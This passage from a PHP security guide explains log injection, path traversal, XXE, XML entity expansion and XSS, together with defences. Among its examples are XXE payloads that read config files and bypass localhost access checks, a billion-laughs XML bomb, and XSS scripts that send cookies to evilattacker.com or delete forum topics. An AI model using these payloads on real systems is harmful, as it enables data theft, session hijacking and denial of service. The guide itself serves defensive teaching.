accessible to the PHP process. The above functions will also accept a URL in PHP's default configuration unless XXX is disabled.

#### Evaluation

PHP's eval() function accepts a string of PHP code to be executed.

#### Regular Expression Injection

The PCRE function preg_replace() function in PHP allows for an "e" (PREG_REPLACE_EVAL) modifier which means the replacement string will be evaluated as PHP after subsitution. Untrusted input used in the replacement string could therefore inject PHP code to be executed.

#### Flawed File Inclusion Logic

Web applications, by definition, will include various files necessary to service any given request. By manipulating the request path or its parameters, it may be possible to provoke the server into including unintended local files by taking advantage of flawed logic in its routing, dependency management, autoloading or other processes.

Such manipulations outside of what the web application was designed to handle can have unforeseen effects. For example, an application might unwittingly expose routes intended only for command line usage. The application may also expose other classes whose constructors perform tasks (not a recommended way to design classes but it happens). Either of these scenarios could interfere with the application's backend operations leading to data manipulation or a potential for Denial Of Service (DOS) attacks on resource intensive operations not intended to be directly accessible.

#### Server Misconfiguration

### 3.2.2 Goals of Code Injection

The goal of a Code Injection is extremely broad since it allows the execution of any PHP code of the attacker's choosing.

### 3.2.3 Defenses against Code Injection

## 3.3 Command Injection

### 3.3.1 Examples of Command Injection

### 3.3.2 Defenses against Command Injection

## 3.4 Log Injection (also Log File Injection)

Many applications maintain a range of logs which are often displayable to authorised users from a HTML interface. As a result, they are a prime target for attackers wishing to disguise other attacks, mislead log reviewers, or even mount a subsequent attack on the users of the monitoring application used to read and analyse the logs.

The vulnerability of logs depends on the controls put in place over the writing of logs and ensuring that log data is treated as an untrusted source of data when it comes to performing any monitoring or analysis of the log entries.

A simple log system may write lines of text to a file using file_put_contents(). For example, a programmer might log failed login attempts using a string of the following format:

```
sprintf("Failed login attempt by %s", $username);
```

What if the attacker used a username of the form "AdminnSuccessful login by Adminn"?

If this string, from untrusted input were inserted into the log the attacker would have successfully disguised their failed login attempt as an innocent failure by the Admin user to login. Adding a successful retry attempt makes the data even less suspicious.

Of course, the point here is that an attacker can append all manner of log entries. They can also inject XSS vectors, and even inject characters to mess with the display of the log entries in a console.

### 3.4.1 Goals of Log Injection

Injection may also target log format interpreters. If an analyser tool uses regular expressions to parse a log entry to break it up into data fields, an injected string could be carefully constructed to ensure the regex matches an injected surplus field instead of the correct field. For example, the following entry might pose a few problems:

```
$username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009";
sprintf("Failed login attempt by $s at $s", $username, )
```

More nefarious attacks using Log Injection may attempt to build on a Directory Traversal attack to display a log in a browser. In the right circumstances, injecting PHP code into a log message and calling up the log file in the browser can lead to a successful means of Code Injection which can be carefully formatted and executed at will by the attacker. Enough said there. If an attacker can execute PHP on the server, it's game over and time to hope you have sufficient Defense In Depth to minimise the damage.

### 3.4.2 Defenses Against Log Injection

The simplest defence against Log Injections is to sanitise any outbound log messages using an allowed characters whitelist. We could, for example, limit all logs to alphanumeric characters and spaces. Messages detected outside of this character list may be construed as being corrupt leading to a log message concerning a potential LFI to notify you of the potential attempt. It's a simple method for simple text logs where including any untrusted input in the message is unavoidable.

A secondary defence may be to encode the untrusted input portion into something like base64 which maintains a limited allowed characters profile while still allowing a wide range of information to be stored in text.

## 3.5 Path Traversal (also Directory Traversal)

Path Traversal (also Directory Traversal) Attacks are attempts to influence backend operations that read from or write to files in the web application by injecting parameters capable of manipulating the file paths employed by the backend operation. As such, this attack is a stepping stone towards successfully attacking the application by facilitating Information Disclosure and Local/Remote File Injection.

We'll cover these subsequent attack types separately but Path Traversal is one of the root vulnerabilities that enables them all. While the functions described below are specific to the concept of manipulating file paths, it bears mentioning that a lot of PHP functions don't simply accept a file path in the traditional sense of the word. Instead functions like `include()` or `file()` accept a URI in PHP. This seems completely counterintuitive but it means that the following two function calls using absolute file paths (i.e. not relying on autoloading of relative file paths) are equivalent.

include('/var/www/vendor/library/Class.php'); include('file:///var/www/vendor/library/Class.php');

The point here is that relative path handling aside (`include_path` setting from php.ini and available autoloaders), PHP functions like this are particularly vulnerable to many forms of parameter manipulation including File URI Scheme Substitution where an attacker can inject a HTTP or FTP URI if untrusted data is injected at the start of a file path. We'll cover this in more detail for Remote File Inclusion attacks so, for now, let's focus on filesystem path traversals.

In a Path Traversal vulnerability, the common factor is that the path to a file is manipulated to instead point at a different file. This is commonly achieved by injecting a series of `../` (Dot-Dot-Slash) sequences into an argument that is appended to or inserted whole into a function like

`include()`, `require()`, `file_get_contents()` or even less suspicious (for some people) functions such as `DOMDocument::load()`.

The Dot-Dot-Slash sequence allows an attacker to tell the system to navigate or backtrack up to the parent directory. Thus a path such as `/var/www/public/../vendor` actually points to `/var/www/public/vendor`. The Dot-Dot-Slash sequence after `/public` backtracks to that directory's parent, i.e. `/var/www`. As this simple example illustrates, an attacker can use this to access files which lie outside of the `/public` directory that is accessible from the webserver.

Of course, path traversals are not just for backtracking. An attacker can also inject new path elements to access child directories which may be inaccessible from a browser, e.g. due to a `deny from all` directive in a `.htaccess` in the child directory or one of its parents. Filesystem operations from PHP don't care about how Apache or any other webserver is configured to control access to non-public files and directories.

### 3.5.1 Examples of Path Traversal

### 3.5.2 Defenses against Path Traversal

## 3.6 XML Injection

Despite the advent of JSON as a lightweight means of communicating data between a server and client, XML remains a viable and popular alternative that is often supported in parallel to JSON by web service APIs. Outside of web services, XML is the foundation of exchanging a diversity of data using XML schemas such as RSS, Atom, SOAP and RDF, to name but a few of the more common standards.

XML is so ubiquitous that it can also be found in use on the web application server, in browsers as the format of choice for XMLHttpRequest requests and responses, and in browser extensions. Given its widespread use, XML can present an attractive target for XML Injection attacks due to its popularity and the default handling of XML allowed by common XML parsers such as libxml2 which is used by PHP in the `DOM`, `SimpleXML` and `XMLReader` extensions. Where the browser is an active participant in an XML exchange, consideration should be given to XML as a request format where authenticated users, via a Cross-Site Scripting attack, may be submitting XML which is actually written by an attacker.

### 3.6.1 XML External Entity Injection

Vulnerabilities to an XML External Entity Injection (XXE) exist because XML parsing libraries will often support the use of custom entity references in XML. You'll be familiar with XML's standard complement of entities used to represent special markup characters such as `>`, `<`, and `&apos;`. XML allows you to expand on the standard entity set by defining custom entities within the XML document itself. Custom entities can be defined by including them directly in

an optional DOCTYPE and the expanded value they represent may reference an external resource to be included. It is this capacity of ordinary XML to carry custom references which can be expanded with the contents of an external resources that gives rise to an XXE vulnerability. Under normal circumstances, untrusted inputs should never be capable of interacting with our system in unanticipated ways and XXE is almost certainly unexpected for most programmers making it an area of particular concern.

For example, let's define a new custom entity called "harmless":

```
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
```

An XML document with this entity definition can now refer to the &harmless; entity anywhere where entities are allowed:

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
    <result>This result is &harmless;</result>
</results>
```

An XML parser such as PHP DOM, when interpreting this XML, will process this custom entity as soon as the document loads so that requesting the relevant text will return the following:

> This result is completely harmless

Custom entities obviously have a benefit in representing repetitive text and XML with shorter named entities. It's actually not that uncommon where the XML must follow a particular grammar and where custom entities make editing simpler. However, in keeping with our theme of not trusting outside inputs, we need to be very careful as to what all the XML our application is consuming is really up to. For example, this one is definitely not of the harmless variety:

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>
```

Depending on the contents of the requested local file, the content could be used when expanding the `&harmless;` entity and the expanded content could then be extracted from the XML parser and included in the web application's output for an attacker to examine, i.e. giving rise to Information Disclosure. The file retrieved will be interpreted as XML unless it avoids the special characters that trigger that interpretation thus making the scope of local file content disclosure limited. If the file is intepreted as XML but does not contain valid XML, an error will be the likely result preventing disclosure of the contents. PHP, however, has a neat "trick" available to bypass this scope limitation and remote HTTP requests can still, obviously, have an impact on the web application even if the returned response cannot be communicated back to the attacker.

PHP offers three frequently used methods of parsing and consuming XML: PHP DOM, SimpleXML and XMLReader. All three of these use the libxml2 extension and external entity

support is enabled by default. As a consequence, PHP has a by-default vulnerability to XXE which makes it extremely easy to miss when considering the security of a web application or an XML consuming library.

You should also remember that XHTML and HTML5 may both be serialised as valid XML which may mean that some XHTML pages or XML-serialised HTML5 could be parsed as XML, e.g. by using `DOMDocument::loadXML()` instead of `DOMDocument::loadHTML()`. Such uses of an XML parser are also vulnerable to XML External Entity Injection. Remember that `libxml2` does not currently even recognise the HTML5 `DOCTYPE` and so cannot validate it as it would for XHTML DOCTYPES.

## Examples of XML External Entity Injection

### File Content And Information Disclosure

We previously met an example of Information Disclosure by noting that a custom entity in XML could reference an external file.

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>
```

This would expand the custom `&harmless;` entity with the file contents. Since all such requests are done locally, it allows for disclosing the contents of all files that the application has read access to. This would allow attackers to examine files that are not publicly available should the expanded entity be included in the output of the application. The file contents that can be disclosed in this are significantly limited - they must be either XML themselves or a format which won't cause XML parsing to generate errors. This restriction can, however, be completely ignored in PHP:

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=/var/www/config.ini"
    >
]>
<results>
    <result>&harmless;</result>
</results>
```

PHP allows access to a PHP wrapper in URI form as one of the protocols accepted by common filesystem functions such as `file_get_contents()`, `require()`, `require_once()`, `file()`, `copy()` and many more. The PHP wrapper supports a number of filters which can be run against a given resource so that the results are returned from the function call. In the above case, we use the `convert.base-64-encode` filter on the target file we want to read.

What this means is that an attacker, via an XXE vulnerability, can read any accessible file in PHP regardless of its textual format. All the attacker needs to do is base64 decode the output they receive from the application and they can dissect the contents of a wide range of non-public files with impunity. While this is not itself directly causing harm to end users or the application's backend, it will allow attackers to learn quite a lot about the application they are attempting to map which may allow them to discover other vulnerabilities with a minimum of effort and risk of discovery.

### Bypassing Access Controls

Access Controls can be dictated in any number of ways. Since XXE attacks are mounted on the backend to a web application, it will not be possible to use the current user's session to any effect but an attacker can still bypass backend access controls by virtue of making requests from the local server. Consider the following primitive access control:

```
if (isset($_SERVER['HTTP_CLIENT_IP'])
    || isset($_SERVER['HTTP_X_FORWARDED_FOR'])
    || !in_array(@$_SERVER['REMOTE_ADDR'], array(
        '127.0.0.1',
        '::1',
    ))
) {
    header('HTTP/1.0 403 Forbidden');
    exit(
        'You are not allowed to access this file.'
    );
}
```

This snippet of PHP and countless others like it are used to restrict access to certain PHP files to the local server, i.e. localhost. However, an XXE vulnerability in the frontend to the application actually gives an attacker the exact credentials needed to bypass this access control since all HTTP requests by the XML parser will be made from localhost.

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.ph
    >
]>
<results>
    <result>&harmless;</result>
</results>
```

If log viewing were restricted to local requests, then the attacker may be able to successfully grab the logs anyway. The same thinking applies to maintenance or administration interfaces whose access is restricted in this fashion.

### Denial Of Service (DOS)

Almost anything that can dictate how server resources are utilised could feasibly be used to generate a DOS attack. With XML External Entity Injection, an attacker has access to make arbitrary HTTP requests which can be used to exhaust server resources under the right conditions.

See below also for other potential DOS uses of XXE attacks in terms of XML Entity Expansions.

## Defenses against XML External Entity Injection

Considering the very attractive benefits of this attack, it might be surprising that the defense is extremely simple. Since `DOM`, `SimpleXML`, and `XMLReader` all rely on `libxml2`, we can simply use the `libxml_disable_entity_loader()` function to disable external entity resolution. This does not disable custom entities which are predefined in a `DOCTYPE` since these do not make use of external resources which require a file system operation or HTTP request.

```
$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
libxml_disable_entity_loader($oldValue);
```

You would need to do this for all operations which involve loading XML from a string, file or remote URI.

Where external entities are never required by the application or for the majority of its requests, you can simply disable external resource loading altogether on a more global basis which, in most cases, will be far more preferable to locating all instances of XML loading, bearing in mind many libraries are probably written with innate XXE vulnerabilities present:

```
libxml_disable_entity_loader(true);
```

Just remember to reset this once again to `TRUE` after any temporary enabling of external resource loading. An example of a process which requires external entities in an innocent fashion is rendering Docbook XML into HTML where the XSL styling is dependent on external entities.

This `libxml2` function is not, by an means, a silver bullet. Other extensions and PHP libraries which parse or otherwise handle XML will need to be assessed to locate their "off" switch for external entity resolution.

In the event that the above type of behaviour switching is not possible, you can alternatively check if an XML document declares a `DOCTYPE`. If it does, and external entities are not allowed, you can then simply discard the XML document, denying the untrusted XML access to a potentially vulnerable parser, and log it as a probable attack. If you log attacks this will be a necessary step since there be no other errors or exceptions to catch the attempt. This check should be built into your normal Input Validation routines. However, this is far from ideal and it's strongly recommended to fix the external entity problem at its source.

```
/**
 * Attempt a quickie detection
 */
$collapsedXML = preg_replace("/[:space:]/", '', $xml);
if(preg_match("/<!DOCTYPE/i", $collapsedXml)) {
    throw new \InvalidArgumentException(
        'Invalid XML: Detected use of illegal DOCTYPE'
    );
}
```

It is also worth considering that it's preferable to simply discard data that we suspect is the result of an attack rather than continuing to process it further. Why continue to engage with something that shows all the signs of being dangerous? Therefore, merging both steps from above has the benefit of proactively ignoring obviously bad data while still protecting you in the event that discarding data is beyond your control (e.g. 3rd-party libraries). Discarding the data entirely becomes far more compelling for another reason stated earlier - `libxml_disable_entity_loader()` does not disable custom entities entirely, only those which reference external resources. This can still enable a related Injection attack called XML Entity Expansion which we will meet next.

### 3.6.2 XML Entity Expansion

XMl Entity Expansion is somewhat similar to XML Entity Expansion but it focuses primarily on enabling a Denial Of Service (DOS) attack by attempting to exhaust the resources of the target application's server environment. This is achieved in XML Entity Expansion by creating a custom entity definition in the XML's `DOCTYPE` which could, for example, generate a far larger XML structure in memory than the XML's original size would suggest thus allowing these attacks to consume memory resources essential to keeping the web server operating efficiently. This attack also applies to the XML-serialisation of HTML5 which is not currently recognised as HTML by the `libxml2` extension.

#### Examples of XML Entity Expansion

There are several approaches to expanding XML custom entities to achieve the desired effect of exhausting server resources.

##### Generic Entity Expansion

Also known as a "Quadratic Blowup Attack", a generic entity expansion attack, a custom entity is defined as an extremely long string. When the entity is used numerous times throughout the document, the entity is expanded each time leading to an XML structure which requires significantly more RAM than the original XML size would suggest.

```
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>
```

By balancing the size of the custom entity string and the number of uses of the entity within the body of the document, it's possible to create an XML file or string which will be expanded to use up a predictable amount of server RAM. By occupying the server's RAM with repetitive requests of this nature, it would be possible to mount a successful Denial Of Service attack. The downside of the approach is that the initial XML must itself be quite large since the memory consumption is based on a simple multiplier effect.

### Recursive Entity Expansion

Where generic entity expansion requires a large XML input, recursive entity expansion packs more punch per byte of input size. It relies on the XML parser to exponentially resolve sets of small entities in such a way that their exponential nature explodes from a much smaller XML input size into something substantially larger. It's quite fitting that this approach is also commonly called an "XML Bomb" or "Billion Laughs Attack".

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>
```

The XML Bomb approach doesn't require a large XML size which might be restricted by the application. It's exponential resolving of the entities results in a final text expansion that is 2^100 times the size of the `&x0;` entity value. That's quite a large and devastating BOOM!

### Remote Entity Expansion

Both normal and recursive entity expansion attacks rely on locally defined entities in the XML's DTD but an attacker can also define the entities externally. This obviously requires that the XML parser is capable of making remote HTTP requests which, as we met earlier in describing XML External Entity Injection (XXE), should be disabled for your XML parser as a basic security measure. As a result, defending against XXEs defends against this form of XML Entity Expansion attack.

Nevertheless, the way remote entity expansion works is by leading the XML parser into making remote HTTP requests to fetch the expanded value of the referenced entities. The results will then themselves define other external entities that the XML parser must additionally make HTTP requests for. In this way, a couple of innocent looking requests can rapidly spiral out of control adding strain to the server's available resources with the final result perhaps itself encompassing a recursive entity expansion just to make matters worse.

```
<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>
```

The above also enables a more devious approach to executing a DOS attack should the remote requests be tailored to target the local application or any other application sharing its server resources. This can lead to a self-inflicted DOS attack where attempts to resolve external entities by the XML parser may trigger numerous requests to locally hosted applications thus consuming an even greater propostion of server resources. This method can therefore be used to amplify the impact of our earlier discussion about using XML External Entity Injection (XXE) attacks to perform a DOS attack.

## Defenses Against XML Entity Expansion

The obvious defenses here are inherited from our defenses for ordinary XML External Entity (XXE) attacks. We should disable the resolution of custom entities in XML to local files and remote HTTP requests by using the following function which globally applies to all PHP XML extensions that internally use `libxml2`.

```
libxml_disable_entity_loader(true);
```

PHP does, however, have the quirky reputation of not implementing an obvious means of completely disabling the definition of custom entities using an XML DTD via the `DOCTYPE`. PHP does define a `LIBXML_NOENT` constant and there also exists public property `DOMDocument::$substituteEntities` but neither if used has any ameliorating effect. It appears we're stuck with using a makeshift set of workarounds instead.

Nevertheless, `libxml2` does has a built in default intolerance for recursive entity resolution which will light up your error log like a Christmas tree. As such, there's no particular need to implement a specific defense against recursive entities though we should do something anyway on the off chance `libxml2` suffers a relapse.

The primary new danger therefore is the inelegent approach of the Quadratic Blowup Attack or Generic Entity Expansion. This attack requires no remote or local system calls and does not require entity recursion. In fact, the only defense is to either discard XML or sanitise XML where it contains a `DOCTYPE`. Discarding the XML is the safest bet unless use of a `DOCTYPE` is both expected and we received it from a secured trusted source, i.e. we received it over a peer-verified HTTPS connection. Otherwise we need to create some homebrewed logic in the absence of PHP giving us a working option to disable DTDs. Assuming you can called `libxml_disable_entity_loader(TRUE)`, the following will work safely since entity expansion is deferred until the node value infected by the expansion is accessed (which does not happen during this check).

```
$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}
```

The above is, of course, should be backed up by having `libxml_disable_entity_loader` set to `TRUE` so external entity references are not resolved when the XML is initially loaded. Where an XML parser is not reliant on `libxml2` this may be the only defense possible unless that parser has a comprehensive set of options controlling how entities can be resolved.

Where you are intent on using `SimpleXML`, bear in mind that you can import a checked `DOMDocument` object using the `simplexml_import_dom()` function.

### 3.6.3 SOAP Injection

TBD

CHAPTER 4

# Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is probably the most common singular security vulnerability existing in web applications at large. It has been estimated that approximately 65% of websites are vulnerable to an XSS attack in some form, a statistic which should scare you as much as it does me.

## 4.1 What is Cross-Site Scripting?

XSS occurs when an attacker is capable of injecting a script, often Javascript, into the output of a web application in such a way that it is executed in the client browser. This ordinarily happens by locating a means of breaking out of a data context in HTML into a scripting context - usually by injecting new HTML, Javascript strings or CSS markup. HTML has no shortage of locations where executable Javascript can be injected and browsers have even managed to add more. The injection is sent to the web application via any means of input such as HTTP parameters.

One of the major underlying symptoms of Cross-Site Scripting's prevelance, unique to such a serious class of security vulnerabilities, is that programmers continually underestimate its potential for damage and commonly implement defenses founded on misinformation and poor practices. This is particularly true of PHP where poor information has overshadowed all other attempts to educate programmers. In addition, because XSS examples in the wild are of the simple variety programmers are not beyond justifying a lack of defenses when it suits them. In this environment, it's not hard to see why a 65% vulnerability rate exists.

If an attacker can inject Javascript into a web application's output and have it executed, it allows the attacker to execute any conceivable Javascript in a user's browser. This gives them complete control of the user experience. From the browser's perspective, the script originated from the web application so it is automatically treated as a trusted resource.

Back in my Introduction, I noted that trusting any data not created explicitly by PHP in the current request should be considered untrusted. This sentiment extends to the browser which sits separately from your web application. The fact that the browser trusts everything it receives from the server is

itself one of the root problems in Cross-Site Scripting. Fortunately, it's a problem with an evolving solution which we'll discuss later.

We can extend this even further to the Javascript environment a web application introduces within the browser. Client side Javascript can range from the very simple to the extremely complex, often becoming client side applications in their own right. These client side applications must be secured like any application, distrusting data received from remote sources (including the server-hosted web application itself), applying input validation, and ensuring output to the DOM is correctly escaped or sanitised.

Injected Javascript can be used to accomplish quite a lot: stealing cookie and session information, performing HTTP requests with the user's session, redirecting users to hostile websites, accessing and manipulating client-side persistent storage, performing complex calculations and returning results to an attacker's server, attacking the browser or installing malware, leveraging control of the user interface via the DOM to perform a UI Redress (aka Clickjacking) attack, rewriting or manipulating in-browser applications, attacking browser extensions, and the list goes on...possibly forever.

### 4.1.1 UI Redress (also Clickjacking)

While a distinct attack in its own right, UI Redress is tightly linked with Cross-Site Scripting since both leverage similar sets of vectors. Sometimes it can be very hard to differentiate the two because each can assist in being successful with the other.

A UI Redress attack is any attempt by an attacker to alter the User Interface of a web application. Changing the UI that a user interacts with can allow an attacker to inject new links, new HTML sections, to resize/hide/overlay interface elements, and so on. When such attacks are intended to trick a user into clicking on an injected button or link it is usually referred to as Clickjacking.

While much of this chapter applies to UI Redress attacks performed via XSS, there are other methods of performing a UI Redress attack which use frames instead. I'll cover UI Redressing in more detail in Chapter 4.

## 4.2 A Cross-Site Scripting Example

Let's imagine that an attacker has stumbled across a custom built forum which allows users to display a small signature beneath their comments. Investigating this further, the attacker sets up an account, spams all topics in reach, and uses the following markup in their signature which is attached to all of their posts:

```
<script>document.write('<iframe src="http://evilattacker.com?cookie='
    + document.cookie.escape() + '" height=0 width=0 />');</script>
```

By some miracle, the forum software includes this signature as-is in all those spammed topics for all the forum users to load into their browsers. The results should be obvious from the Javascript

code. The attacker is injecting an iframe into the page which will appear as a teeny tiny dot (zero sized) at the very bottom of the page attracting no notice from anyone. The browser will send the request for the iframe content which passes each user's cookie value as a GET parameter to the attacker's URI where they can be collated and used in further attacks. While typical users aren't that much of a target for an attacker, a well designed trolling topic will no doubt attract a moderator or administrator whose cookie may be very valuable in gaining access to the forums moderation functions.

This is a simple example but feel free to extend it. Perhaps the attacker would like to know the username associated with this cookie? Easy! Add more Javascript to query the DOM and grab it from the current web page to include in a "username=" GET parameter to the attacker's URL. Perhaps they also need information about your browser to handle a Fingerprint defense of the session too? Just include the value from "navigator.userAgent".

This simple attack has a lot of repercussions including potentially gaining control over the forum as an administrator. It's for this reason that underestimating the potential of XSS attack is ill advised.

Of course, being a simple example, there is one flaw with the attacker's approach. Similar to examples using Javascript's alert() function I've presented something which has an obvious defense. All cookies containing sensitive data should be tagged with the HttpOnly flag which prevents Javascript from accessing the cookie data. The principle you should remember, however, is that if the attacker can inject Javascript, they can probably inject all conceivable Javascript. If they can't access the cookie and mount an attack using it directly, they will do what all good programmers would do: write an efficient automated attack.

```
<script>
    var params = 'type=topic&action=delete&id=347';
    var http = new XMLHttpRequest();
    http.open('POST', 'forum.com/admin_control.php', true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // Do something else.
        }
    };
    http.send(params);
</script>
```

The above is one possible use of Javascript to execute a POST request to delete a topic. We could encapsulate this in a check to only run for a moderator, i.e. if the user's name is displayed somewhere we can match it against a list of known moderators or detect any special styling applied to a moderator's displayed name in the absence of a known list.

As the above suggests, HttpOnly cookies are of limited use in defending against XSS. They block the logging of cookies by an attacker but do not actually prevent their use during an XSS attack. Furthermore, an attacker would prefer not to leave bread crumbs in the visible markup to arouse

suspicion unless they actually want to be detected.

Next time you see an example using the Javascript alert() function, substitute it with a XMLHttpRequest object to avoid being underwhelmed.

## 4.3 Types of Cross-Site Scripting Attacks

XSS attacks can be categorised in two ways. The first lies in how malicious input navigates the web application. Input to an application can be included in the output of the current request, stored for inclusion in the output of a later request, or passed to a Javascript based DOM operation. This gives rise to the following categories:

### 4.3.1 Reflected XSS Attack

In a Reflected XSS attack, untrusted input sent to a web application is immediately included in the application's output, i.e. it is reflected from the server back to the browser in the same request. Reflection can occur with error messages, search engine submissions, comment previews, etc. This form of attack can be mounted by persuading a user to click a link or submit a form of the attacker's choosing. Getting a user to click untrusted links may require a bit of persuasion and involve emailing the target, mounting a UI Redress attack, or using a URL Shortener service to disguise the URL. Social services are particularly vulnerable to shortened URLs since they are commonplace in that setting. Be careful of what you click!

### 4.3.2 Stored XSS Attack

A Stored XSS attack is when the payload for the attack is stored somewhere and retrieved as users view the targeted data. While a database is to be expected, other persistent storage mechanisms can include caches and logs which also store information for long periods of time. We've already learned about Log Injection attacks.

### 4.3.3 DOM-based XSS Attack

DOM-based XSS can be either reflected or stored and the differentiation lies in how the attack is targeted. Most attacks will strike at the immediate markup of a HTML document. However, HTML may also be manipulated by Javascript using the DOM. An injected payload, rendered safely in HTML, might still be capable of interfering with DOM operations in Javascript. There may also be security vulnerabilities in Javascript libraries or their usage which can also be targeted.

## 4.4 Cross-Site Scripting And Injecting Context

An XSS attack is successful when it can inject Context. The term "Context" relates to how browsers interpret the content of a HTML document. Browsers recognise a number of key Contexts including: HTML Body, HTML Attribute, Javascript, URI and CSS.

The goal of an attacker is to take data destined for one of these Contexts and make browser interpret it as another Context. For example, consider the following:

```
<div style="background:<?php echo $colour ?>;">
```

In the above, $colour is populated from a database of user preferances which influence the background colour used for a block of text. The value is injected into a CSS Context which is a child of a HTML Attribute Context, i.e. we're sticking some CSS into a style attribute. It may seem unimportant to get so hooked up on Context but consider this:

```
$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo $colour ?>;">
```

If an attacker can successfully inject that "colour", they can inject a CSS expression which will execute the contained Javascript under Internet Explorer. In other words, the attacker was able to switch out of the current CSS Context by injecting a new Javascript Context.

Now, I was very careless with the above example because I know some readers will be desperate to get to the point of using escaping. So let's do that now.

```
$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>
```

If you checked this with Internet Explorer, you'd quickly realise something is seriously wrong. After using htmlspecialchars() to escape $colour, the XSS attack is still working!

This is the importance of understanding Context correctly. Each Context requires a different method of escaping because each Context has different special characters and different escaping needs. You cannot just throw htmlspecialchars() and htmlentities() at everything and pray that your web application is safe.

What went wrong in the above is that the browser will always unesape HTML Attributes before interpreting the context. We ignored the fact there were TWO Contexts to escape for. The unescaped HTML Attribute data is the exact same CSS as the unescaped example would have rendered anyway.

What we should have done was CSS escaped the $colour variable and only then HTML escaped it.

This would have ensured that the $colour value was converted into a properly escaped CSS literal string by escaping the brackets, quotes, spaces, and other characters which allowed the expression() to be injected. By not recognising that our attribute encompassed two Contexts, we escaped it as if it was only one: a HTML Attribute. A common mistake to make.

The lesson here is that Context matters. In an XSS attack, the attacker will always try to jump out of the current Context into another one where Javascript can be executed. If you can identify all the Contexts in your HTML output, bearing in mind their nestable nature, then you're ten steps closer to successfully defending your web application from Cross-Site Scripting.

Let's take another quick example:

```
<a href="http://www.example.com">Example.com</a>
```

Omitting untrusted input for the moment, the above can be dissected as follows:

1. There is a URL Context, i.e. the value of the href attribute.
2. There is a HTML Attribute Context, i.e. it parents the URL Context.
3. There is a HTML Body Context. i.e. the text between the <a> tags.

That's three different Contexts implying that up to three different escaping strategies would be required if the data was determined by untrusted data. We'll look at escaping as a defense against XSS in far more detail in the next section.

## 4.5 Defending Against Cross-Site Scripting Attacks

Defending against XSS is quite possible but it needs to be applied consistently while being intolerant of exceptions and shortcuts, preferably early in the web application's development when the application's workflow is fresh in everyone's mind. Late implementation of defenses can be a costly affair.

### 4.5.1 Input Validation

Input Validation is any web application's first line of defense. That said, Input Validation is limited to knowing what the immediate usage of an untrusted input is and cannot predict where that input will finally be used when included in output. Practically all free text falls into this category since we always need to allow for valid uses of quotes, angular brackets and other characters.

Therefore, validation works best by preventing XSS attacks on data which has inherent value limits. An integer, for example, should never contain HTML special characters. An option, such as a country name, should match a list of allowed countries which likewise will prevent XSS payloads from being injected.

Input Validation can also check data with clear syntax constraints. For example, a valid URL should start with http:// or https:// but not the far more dangerous javascript: or data: schemes.

In fact, all URLs derived from untrusted input must be validated for this very reason. Escaping a javascript: or data: URI has the same effect as escaping a valid URL, i.e. nothing whatsoever.

While Input Validation won't block all XSS payloads, it can help block the most obvious. We cover Input Validation in greater detail in Chapter 2.

### 4.5.2 Escaping (also Encoding)

Escaping data on output is a method of ensuring that the data cannot be misinterpreted by the currently running parser or interpreter. The obvious examples are the less-than and greater-than sign that denote element tags in HTML. If we allowed these to be inserted by untrusted input as-is, it would allow an attacker to introduce new tags that the browser would render. As a result, we normally escape these using the > and $lt; HTML named entities.

As the replacement of such special characters suggests, the intent is to preserve the meaning of the data being escaped. Escaping simply replaces characters with special meaning to the interpreter with an alternative which is usually based on a hexadecimal representation of the character or a more readable representation, such as HTML named entities, where it is safe to do so.

As my earlier diversion into explaining Context mentioned, the method of escaping varies depending on which Content data is being injected into. HTML escaping is different from Javascript escaping which is also different from URL escaping. Applying the wrong escaping strategy to a Context can result in an escaping failure, opening a hole in a web applications defenses which an attacker may be able to take advantage of.

To facilitate Context-specific escaping, it's recommended to use a class designed with this purpose in mind. PHP does not supply all the necessary escaping functionality out of the box and some of what it does offer is not as safe as popularly believed. You can find an Escaper class which I designed for the Zend Framework, which offers a more approachable solution, here.

